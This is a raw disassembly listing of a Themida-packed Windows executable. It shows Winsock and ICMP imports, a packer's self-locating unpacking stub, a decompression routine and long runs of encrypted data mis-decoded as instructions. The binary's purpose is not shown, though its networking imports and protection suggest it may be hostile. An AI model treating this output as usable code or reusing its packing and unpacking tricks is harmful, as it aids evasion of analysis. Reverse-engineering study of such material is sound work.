___:0041FC3Dw ... dword_50DB1C dd 0 ; sub_41FB90+2Aw ... dword_50DB20 dd 0 dword_50DB24 dd 0 ; ___:0041FC5Bw dword_50DB28 dd 0 dword_50DB2C dd 0 ; ___:0041FC67w ... dword_50DB30 dd 0 ; ___:0041FC6Dw ... dword_50DB34 dd 0 ; ___:00420EA9o dword_50DB38 dd 0 ; sub_41FB90:loc_41FBB4r ... dword_50DB3C dd 0 ; ___:0041FC81w dword_50DB40 dd 0 ; sub_420630+41w ... dword_50DB44 dd 0 ; sub_420630+7Fr dword_50DB48 dd 0 ; sub_420630+92r ... dword_50DB4C dd 0 ; sub_420630+148r dd 3 dup(0) dword_50DB5C dd 0 ; ___:0041C2A5o dword_50DB60 dd 0 ; sub_423820+5r ... dword_50DB64 dd 0 ; ___:00423FABr ... dd 7CEh dup(0) dword_50FAA0 dd 6 dup(0) ; ___:00423EAFo ... dword_50FAB8 dd 196h dup(0) ; sub_423760+6Do dword_510110 dd 0 word_510114 dw 0 ; DATA XREF: sub_424F70+A9r align 4 word_510118 dw 0 ; DATA XREF: sub_4253C0+45r ; sub_4257F0+DAr align 4 dword_51011C dd 0 dd 0 byte_510124 db 0 ; DATA XREF: sub_4267D0:loc_426830r ; sub_4267D0+97w align 4 dword_510128 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r dword_51012C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r dword_510130 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ... align 8 dword_510138 dd 80h dup(0) ; sub_427D50+129o dword_510338 dd 0 dword_51033C dd 0 dd 1Dh dup(0) dword_5103B4 dd 0 ; ___:0042C40Dr ... dword_5103B8 dd 0 ; sub_42DE00:loc_42DE96r ... dword_5103BC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ... dword_5103C0 dd 0 dword_5103C4 dd 0 ; sub_431560r ... dword_5103C8 dd 0 dword_5103CC dd 0 ; sub_4309A0+111w ... dword_5103D0 dd 0 ; sub_4309A0+F6r ... dword_5103D4 dd 0 ; ___:loc_4316A0r dword_5103D8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ... dd 2 dup(0) dd 0 dd 13Eh dup(0) dword_5108E0 dd 10h dup(0) ; sub_431470:loc_4314A0o ... dword_510920 dd 8 dup(0) ; sub_430830+25o ... dword_510940 dd 8 dup(0) ; sub_431980+25o ... dword_510960 dd 8 dup(0) ; sub_432850+84o ... dword_510980 dd 8 dup(0) ; sub_432850+8Bo ... dword_5109A0 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 18Ah dup(0) dd 5 dup(8AA6605h), 5 dup(71D92A02h), 5 dup(31540AF5h) dd 5 dup(5D5512EAh), 5 dup(0EA5CC7Bh), 5 dup(108DBD77h) dd 5 dup(5794B789h), 5 dup(6B64E8DCh), 5 dup(3D214508h) dd 5 dup(33165203h), 5 dup(3FF0D1B3h), 1Eh dup(0) dd 108DBD77h, 10h dup(0) dd 3FF0D1B3h, 59h dup(0) ; --------------------------------------------------------------------------- jmp far ptr loc_5D5512 ; --------------------------------------------------------------------------- align 4 dd 1Bh dup(0) dd 3D214508h, 14h dup(0) dd 71D92A02h, 52h dup(0) dd 8AA6605h, 1Bh dup(0) dd 33165203h, 0Bh dup(0) dd 5794B789h, 0Ch dup(0) dd 0EA5CC7Bh, 2Bh dup(0) dd 6B64E8DCh, 11h dup(0) dd 31540AF5h, 0Ah dup(0) dd 28D0000h, 28E0000h, 28F0000h dword_511718 dd 28F1445h dd 28F1594h dword_511720 dd 28F17F5h dd 28F1BCDh, 2900000h dword_51172C dd 2910000h dd 2920000h, 2920487h, 29207B2h, 2920ADFh dword_511740 dd 2930000h ; sub_40E870+25Ar ... dword_511744 dd 2930512h dword_511748 dd 293074Dh dd 293089Dh, 2930B60h dword_511754 dd 2940000h ; sub_40EE40+15Er ... dd 2940266h dword_51175C dd 2950000h ; sub_40E870+22Cr dd 2950D4Dh dword_511764 dd 2960000h ; sub_4208E0+285r ... dd 2970000h dword_51176C dd 2971147h ; sub_40E870+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dword_5117E0 dd 2710000h ; sub_420630+FEr dd 2720000h, 2730000h, 273072Dh, 2730976h, 2730C72h, 2730DE9h dd 2740000h, 27406F0h, 2740A52h, 2750000h, 2750274h, 2750878h dd 27508ECh, 2760000h, 276054Eh, 2760949h, 2760C21h, 2770000h dd 27703D5h, 2770427h, 2770917h, 2770982h, 2770D2Fh, 2780000h dd 27801D4h, 27803ABh, 2780644h, 278084Ch, 278095Eh, 2780B22h dd 2780B9Ch, 2790000h dword_511864 dd 2790720h dword_511868 dd 2790D01h dword_51186C dd 27A0000h dd 7C901005h, 7C9010EDh, 27A01E8h, 27A0232h, 27A027Fh dd 27A0412h, 27A0A45h, 27B0000h, 27B0471h, 27C0000h, 27D0000h dd 27D089Eh, 27E0000h, 27F0000h, 27F08C8h dword_5118AC dd 27F0BB2h ; sub_410030+47r ... dd 27F0C3Fh, 2800000h, 28004C1h, 2810000h, 2820000h, 2830000h dd 2840000h dword_5118CC dd 28416B6h dd 2841830h, 2841C6Fh dword_5118D8 dd 2850000h ; sub_41B5B0+2Fr ... dd 2850140h dword_5118E0 dd 28507E8h ; sub_4204D0+2Er ... dd 2850B88h, 2860000h, 2870000h dword_5118F0 dd 2870478h dd 2880000h, 2890000h, 28A0000h, 28A119Bh, 28A1D9Dh, 28B0000h dd 28B0628h, 28B0B1Fh dd 28C0000h dword_511918 dd 28C03C3h ; sub_420630:loc_42067Cr ... dd 1Ah dup(0) dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0) dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh dword_5119E0 dd 760AC190h dd 0Dh dup(0) ; --------------------------------------------------------------------------- xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- ja short loc_511A99 push ebx retn ; --------------------------------------------------------------------------- db 77h db 0DBh ; ш db 0F1h ; Я db 0C1h ; а db 77h ; w ; --------------------------------------------------------------------------- loc_511A24: ; CODE XREF: ___:00511A34j movsb icebp sal dword ptr [edi-28h], 23h mov byte ptr [edi+75h], 0D6h les esi, [edi+67h] popf retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- jmp short loc_511A24 ; --------------------------------------------------------------------------- sal dword ptr [edi-54h], 17h mov byte ptr [edi-52h], 2Dh retn ; --------------------------------------------------------------------------- db 77h dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh dd 77C4186Ah dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ... dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h db 72h ; --------------------------------------------------------------------------- loc_511A99: ; CODE XREF: ___:00511A1Bj sbb eax, esp ; --------------------------------------------------------------------------- db 77h dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ... dd 77C371BCh dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ... dd 77C2C407h dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ... db 90h db 0CFh, 0C1h, 77h dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_410030+1126r ... dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr dd 77C29CDDh, 77C293C7h dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ... dd 77C35F0Dh dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 28C0A8Bh off_511C00 dd offset sub_5F74D1 ; DATA XREF: ___:00419FBDr ; sub_41A050+2Dr ... dd 0Bh dup(0) dd 71AB951Eh, 71AB3E00h dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ... dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh, 71AB4FD4h dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ... dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F960+198r ... dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004217E1r ... dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ... dd 71AB2BF4h dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r dd 71ABE479h, 11h dup(0) dd 76D6AC1Dh, 4C1h dup(0) ___ ends ; Section 2. (virtual address 00113000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 513000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 514000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'оe',9,']',0 align 10h dd 114050h, 114000h, 3 dup(0) dd 114079h, 11400Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00115000) ; Virtual size : 0010B000 (1093632.) ; Section size in file : 0010B000 (1093632.) ; Offset to raw data for section: 00115000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 515000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 7489358Ch, 42C95h, 5F805h, 15A172h, 0 ; --------------------------------------------------------------------------- mov eax, 0 pusha or eax, eax jz short loc_515086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_515041 popa jmp short loc_515076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh ; --------------------------------------------------------------------------- inc eax loc_515041: ; CODE XREF: Themida_:0051502Cj call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51504E: ; CODE XREF: Themida_:00515072j mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51506D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_515074 loc_51506D: ; CODE XREF: Themida_:00515059j sub eax, 1000h jmp short loc_51504E ; --------------------------------------------------------------------------- loc_515074: ; CODE XREF: Themida_:0051506Bj mov edi, eax loc_515076: ; CODE XREF: Themida_:0051502Fj jmp loc_515265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11526Ah add ecx, edi jmp short loc_515090 ; --------------------------------------------------------------------------- loc_515086: ; CODE XREF: Themida_:0051501Cj mov eax, offset loc_583441 mov ecx, offset word_51526A loc_515090: ; CODE XREF: Themida_:00515084j push eax push ecx call sub_51511B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_515265 ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51511B proc near ; CODE XREF: Themida_:00515092p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_515132: ; CODE XREF: sub_51511B+7Aj ; sub_51511B+C3j ... add dl, dl jnz short loc_51513B mov dl, [esi] inc esi adc dl, dl loc_51513B: ; CODE XREF: sub_51511B+19j jnb short loc_515127 add dl, dl jnz short loc_515146 mov dl, [esi] inc esi adc dl, dl loc_515146: ; CODE XREF: sub_51511B+24j jnb short loc_515197 xor eax, eax add dl, dl jnz short loc_515153 mov dl, [esi] inc esi adc dl, dl loc_515153: ; CODE XREF: sub_51511B+31j jnb loc_515238 add dl, dl jnz short loc_515162 mov dl, [esi] inc esi adc dl, dl loc_515162: ; CODE XREF: sub_51511B+40j adc eax, eax add dl, dl jnz short loc_51516D mov dl, [esi] inc esi adc dl, dl loc_51516D: ; CODE XREF: sub_51511B+4Bj adc eax, eax add dl, dl jnz short loc_515178 mov dl, [esi] inc esi adc dl, dl loc_515178: ; CODE XREF: sub_51511B+56j adc eax, eax add dl, dl jnz short loc_515183 mov dl, [esi] inc esi adc dl, dl loc_515183: ; CODE XREF: sub_51511B+61j adc eax, eax jz short loc_51518D push edi sub edi, eax mov al, [edi] pop edi loc_51518D: ; CODE XREF: sub_51511B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_515132 ; --------------------------------------------------------------------------- loc_515197: ; CODE XREF: sub_51511B:loc_515146j mov eax, 1 loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j add dl, dl jnz short loc_5151A5 mov dl, [esi] inc esi adc dl, dl loc_5151A5: ; CODE XREF: sub_51511B+83j adc eax, eax add dl, dl jnz short loc_5151B0 mov dl, [esi] inc esi adc dl, dl loc_5151B0: ; CODE XREF: sub_51511B+8Ej jb short loc_51519C sub eax, ebx mov ebx, 1 jnz short loc_5151E3 mov ecx, 1 loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j add dl, dl jnz short loc_5151C9 mov dl, [esi] inc esi adc dl, dl loc_5151C9: ; CODE XREF: sub_51511B+A7j adc ecx, ecx add dl, dl jnz short loc_5151D4 mov dl, [esi] inc esi adc dl, dl loc_5151D4: ; CODE XREF: sub_51511B+B2j jb short loc_5151C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_5151E3: ; CODE XREF: sub_51511B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j add dl, dl jnz short loc_5151FA mov dl, [esi] inc esi adc dl, dl loc_5151FA: ; CODE XREF: sub_51511B+D8j adc ecx, ecx add dl, dl jnz short loc_515205 mov dl, [esi] inc esi adc dl, dl loc_515205: ; CODE XREF: sub_51511B+E3j jb short loc_5151F1 cmp eax, 7D00h jnb short loc_515228 cmp eax, 500h jb short loc_515223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515223: ; CODE XREF: sub_51511B+F8j cmp eax, 7Fh ja short loc_51522B loc_515228: ; CODE XREF: sub_51511B+F1j add ecx, 2 loc_51522B: ; CODE XREF: sub_51511B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515238: ; CODE XREF: sub_51511B:loc_515153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_515259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_515132 ; --------------------------------------------------------------------------- loc_515259: ; CODE XREF: sub_51511B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51511B endp ; --------------------------------------------------------------------------- loc_515265: ; CODE XREF: Themida_:loc_515076j ; Themida_:005150B1j jmp loc_583441 ; --------------------------------------------------------------------------- word_51526A dw 38E9h ; DATA XREF: Themida_:0051508Bo dd 1563544h, 8478F3EBh, 52E0EA6Ah, 741C7365h, 41CE7261h dd 4F2E2F70h, 0FF239C78h, 4F038FCh, 98A2BB46h, 0FFFA102Eh dd 77540124h, 0F701A15Fh, 0C22145DCh, 35F95D37h, 0D7D70817h dd 65685480h, 7064696Dh, 54F78761h, 0D7DC959Dh, 0E10392E6h dd 11C8BB1Ah, 0F2FB42B8h, 6B843B22h, 0E17122BFh, 8A24BC0Bh dd 477EEC53h, 33CABF01h, 6B845B01h, 2E36F2EBh, 39FDAB10h dd 8B1CBF78h, 60D485C5h, 5D0A00E8h, 3553ED81h, 8907FA03h dd 82DB195h, 32C5B50Dh, 1DD58584h, 71BD8301h, 74000706h dd 0E4E88B0Ch, 69B850E2h, 708EF7C2h, 3E382444h, 6A812B45h dd 0C1A3E8D4h, 749A6829h, 0DFD2F383h, 4B250A80h, 0D5F40A89h dd 4814E988h, 0A0AF2402h ; --------------------------------------------------------------------------- push ebp mov ebp, esp adc eax, 0EED8C483h sbb byte ptr [edx-7Fh], 0EAh inc ecx or byte ptr ss:[ebx+45C712DAh], 0D8h ; CODE XREF: Themida_:0051536Bj or ss:[esi], cl xor [eax-77h], eax or [ecx-737F0683h], al sbb eax, 8200F74h inc byte ptr [ebx+3010AB49h] call dword ptr [edx] inc ebx jmp short near ptr loc_515349+5 ; --------------------------------------------------------------------------- db 0C6h, 36h, 0DCh dd 0C9E82661h, 4604C228h, 7CC4810Dh, 491C02FFh, 458D888Ah dd 5D8B8002h, 8885C708h, 8D945019h, 0C3D1010Ah, 89411888h dd 0BD810B51h, 5D050644h, 2728E375h, 64BA518Dh, 98075D8h dd 0F4BB0E8Ah, 0F0B85B27h, 0D3785437h, 0F61D07Eh, 0F7754B08h dd 29C3AFD8h, 234A4647h, 42F91546h, 8A61D115h, 0F03AD0D0h dd 45EEC5FEh, 0EB4D05FCh, 46AD1E04h, 403E8046h, 84BAF729h dd 7D3034B7h, 0C87FEB0Ch, 6D66F83Eh, 65F04212h, 1040F40Eh dd 0F065C14Ah, 0F8D6A004h, 3E01CD1h, 3328B0C2h, 1C0E8ADBh dd 66FB8030h, 1E0A0A72h, 9F057739h, 223379EBh, 0DFB6114h dd 0B7660A3Fh, 0A7AF1E08h, 10560AC3h, 7241181Ah, 77460A0Bh dd 5124066Fh, 0F05D010Ch, 8339F4ECh, 72028D7Dh, 0C09B0CB0h dd 0AAB3A576h, 0E7F82620h, 0B58D03h, 0FC553BA8h, 7854820Fh dd 0AAE0B0BDh, 0BA2838DFh, 0B9700870h, 0BDFC7054h, 737D020h dd 49470FFEh, 22B97375h, 0BBB86A8Bh, 120E5101h, 0DBEB82F1h dd 868EB002h, 0FB391FC4h, 1B65D608h, 72FF1DECh, 785268Ah dd 590500E9h, 0B4D9B810h, 8252CF00h, 25721CDCh, 5C7741h dd 8ED396D4h, 6BC32C2Dh, 0E956010Ch, 39213D04h, 8A01C45Eh dd 8205256Dh, 17089845h, 0C564621h, 6EEE51C4h, 0DEC0F17Ch dd 8CDBC010h, 13470CBh, 4E398267h, 830F765Bh, 43D518Ch dd 0B33BE3D1h, 754A0E46h, 11AC2E09h, 0EC05480Eh, 69065E4h dd 0C5846400h, 54968E05h, 8F5381D7h, 29C2040Ah, 0C0718C8Ch dd 0A60EDBE7h, 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h dd 3FBC9020h, 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh dd 45CF4090h, 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h dd 845AABCDh, 0A6561308h, 825E0AE7h, 0A881E2EEh, 8AA04408h dd 13A2B9FAh, 28972305h, 8C521043h, 0DFD740F2h, 6712D9F0h dd 208DA8Dh, 0C459C351h, 18458A91h, 5141881Ch, 8753C400h dd 5E9C2ED9h, 9D3B50A0h, 5ADF06CCh, 2D188F10h, 0B13EA30h dd 7883F2h, 498A6C87h, 3CC2722h, 2D910C01h, 0C4F31FE6h dd 0D18044B9h, 5E281D5h, 90331061h, 0BAF64302h, 0B863A084h dd 0E70B62CAh, 0C75086F0h, 63BC6719h, 0EED1C814h, 6954434h dd 0A6FA8B21h, 0C87CD803h, 5344EA0Dh, 1EA2841Bh, 31AA30h dd 392ADF88h, 14DC94B9h, 0A821014h, 29902852h, 0DA8C6714h dd 3229F4Bh, 39F08161h, 0A6F98A62h, 921EB209h, 0C45F3057h dd 75468AE4h, 47001622h, 2E78C457h, 315BC881h, 9650FE8Bh dd 7E90121h, 40502B80h, 914C9C54h, 45EA5B28h, 0EFEE0400h dd 9070973Ah, 0B5C31482h, 0CC1E5E6Bh, 111B9BBCh, 0EB36F8F9h dd 59FA3380h, 4715EA30h, 917A7B5h, 0E25C29F9h, 223BDC80h dd 610044E1h, 0F3CD6A43h, 90829C7Ah, 5C340757h, 73D4BA6Dh dd 0F1D85972h, 0DD739F3Dh, 5514EA30h, 76608ECh, 5370C497h dd 46D6C1C9h, 7AD73030h, 60CEEF0Ch, 7BC55276h, 60EAEEAAh dd 272C3D12h, 0ACF61CAEh, 8961CA00h, 8E203E77h, 5F18006Eh dd 390512Ch, 509EB84h, 0F4C6053h, 5D4A5628h, 5E806E61h dd 980E117Ch, 3DDE0010h, 914E71DFh, 7EE8381Fh, 0A8C25E00h dd 62C48C2Eh, 72920359h, 0CB953E31h, 83A7BCEBh, 87CAA4Ah dd 1F066000h, 0CA34625Ch, 0BC8B00A7h, 0CF2532E1h, 0FB003664h dd 0DEAA5550h, 169BF0Eh, 8C6A9BBBh, 80676EFEh, 82339459h dd 0DD4942h, 29AE073Bh, 5CEDC29Fh, 0EBAD9A01h, 7CC8D7A5h dd 0F1337F0h, 8D481E27h, 0C7A38C9Fh, 0DA300418h, 17AE5071h dd 689A6C16h, 8E0FB194h, 0C663338Ah, 2088BD3Bh, 0CF08AD79h dd 81706F13h, 0E058B792h, 850821F0h, 0CC352838h, 68F58043h dd 1F9A6ABh, 6152F6DEh, 48A349B5h, 21C02490h, 0C6E8051Fh dd 643F008Bh, 313DC859h, 0BA0CA9B5h, 292ACBB1h, 0C2CE00BFh dd 2588D0Ch, 0B5001A6Eh, 97B9324Ch, 0C383B34Ah, 0B6A569E8h dd 13B5790Ch, 1527174h, 8DD141D2h, 808F5789h, 81BD42A9h dd 0ECD814h, 339EA670h, 8BEB032Ah, 60F580A0h, 0B819F900h dd 0C8E9C6FDh, 0DFF202C1h, 88F0EF0Eh, 0B24A8C83h, 0CDD7101h dd 1F1868C6h, 97E477E5h, 0E6BF072Dh, 20AC4FF5h, 0F690BCF0h dd 0A5007EE2h, 0AA521DCEh, 808E472Bh, 0F8005003h, 0D25C872Fh dd 1D974FC1h, 30DB0B8Ah, 8CFE9420h, 0A6B09A50h, 0F6F04044h dd 8DFC054Fh, 204A53CCh, 6B33D580h, 12E13007h, 5B71E940h dd 94512804h, 414BCAAh, 58F43A0h, 945D3A07h, 7B3B3783h dd 0D18287Dh, 3431C0B2h, 9AEBC35Dh, 87ED223Ch, 2B330E90h dd 55B74B10h, 8A8CA09Dh, 0DD45F023h, 2FCCCAB8h, 73CF80E4h dd 7982296Dh, 9AEC75FAh, 0F5CB148h, 0A17BECFFh, 14E7C8EEh dd 0F0613180h, 8F286405h, 859FB31h, 0EC51666Eh, 8B30A557h dd 0CB679FDh, 7F8545D7h, 2090AA28h, 8EDEF8EDh, 0A85A1724h dd 924454A8h, 0EBB80AEFh, 9D2F369h, 9008AD6Bh, 1EE70888h dd 0F9B430BBh, 11119C9h, 0F5049DB7h, 0CB050B35h, 74FA4AB8h dd 52ADC8C0h, 0C0CB5739h, 43BC6361h, 1002155h, 5394DA42h dd 58B5D1h, 78395FDCh, 0C919D259h, 0F12EF530h, 501B3BAAh dd 0CF79C6Dh, 0B98FA68Ah, 47104598h, 0F5387AB2h, 98DBFE94h dd 0A2223E04h, 96C482F0h, 0A6728CA0h, 3960B80Bh, 5ED19848h dd 32EF813h, 0ED40968Dh, 4FC938D7h, 0EE50802Fh, 3C91CAF0h dd 9CB0330h, 67FE8361h, 0ECE43580h, 42647C00h, 3969AAE1h dd 0F13E1E87h, 8307C191h, 0F4A74BFFh, 0E0074C58h, 0E2EFB6FEh dd 0DB86DCA0h, 2CB778C3h, 37723Eh, 1F743F2h, 0CB3EE878h dd 91E900ACh, 6BBE6284h, 3FE5009Dh, 0F1B4496Fh, 5000C5FEh dd 3CFBFFACh, 7DC8CAE1h, 927C0258h, 0C2F3AF79h, 25578C83h dd 0F84531C0h, 1B9DEA09h, 4B80A3B7h, 6902F423h, 0E4A03FA7h dd 65EF4946h, 1208AB48h, 54213382h, 0A0516B6Eh, 0A8F892BBh dd 0C4D63EF5h, 4650E381h, 24DDEF91h, 990A3570h, 0B827CC9Fh dd 3707C182h, 4ED8E081h, 91DE002Ch, 2778B2B9h, 3E2420C3h dd 251184DCh, 0F5D2DE00h, 0C3C05B9Eh, 0CBC7F00h, 0FF1974B0h dd 2428E275h, 82249033h, 0A12DB70Eh, 273BD468h, 0C8B06962h dd 0FC288AEFh, 1297CF60h, 85BE0C9Eh, 1F0ED1E5h, 20841950h dd 0A3133504h, 0BC8164E6h, 0E0322D7Ah, 808FBE10h, 9ECDD6F1h dd 2CAA4954h, 43331974h, 713F78A2h, 34C8CE37h, 0B7180F12h dd 83A0A565h, 1F4B0C77h, 3710B31Eh, 0ECF5FF02h, 40E807FDh dd 0F0C8DF58h, 88B9D426h, 80794C37h, 0B807F5EDh, 85DF58C0h dd 2AC127E3h, 3F847368h, 0E1C04E17h, 0F5C56E0Ch, 53284911h dd 0E708983Ah, 35008F2Dh, 0B3A2866Eh, 20966032h, 2C034A3Fh dd 0E0E288A0h, 0F82014B0h, 20CB3030h, 14807351h, 65065400h dd 313796F1h, 81381C57h, 18F26F9h, 0AEBC577h, 8B308245h dd 8088DF33h, 90AE1490h, 91C76057h, 17895010h, 0CF355Ch dd 0B9C67D9Ah, 78AA68C0h, 0E1996C6Ch, 74882580h, 0A72E0026h dd 6AC0CD49h, 0D905AFBDh, 97060443h, 0E2177402h, 33A6009Bh dd 5CB2059Dh, 492BCA30h, 1F5422h, 265F9217h, 0EEA5FA60h dd 45D37A00h, 39DEC73h, 92B8A3BBh, 208640Fh, 0F34B3E72h dd 2C40F47Eh, 1754A66Bh, 58982CF8h, 0D12A44h, 63622510h dd 595BE6B5h, 3005DF2Ch, 5718AE11h, 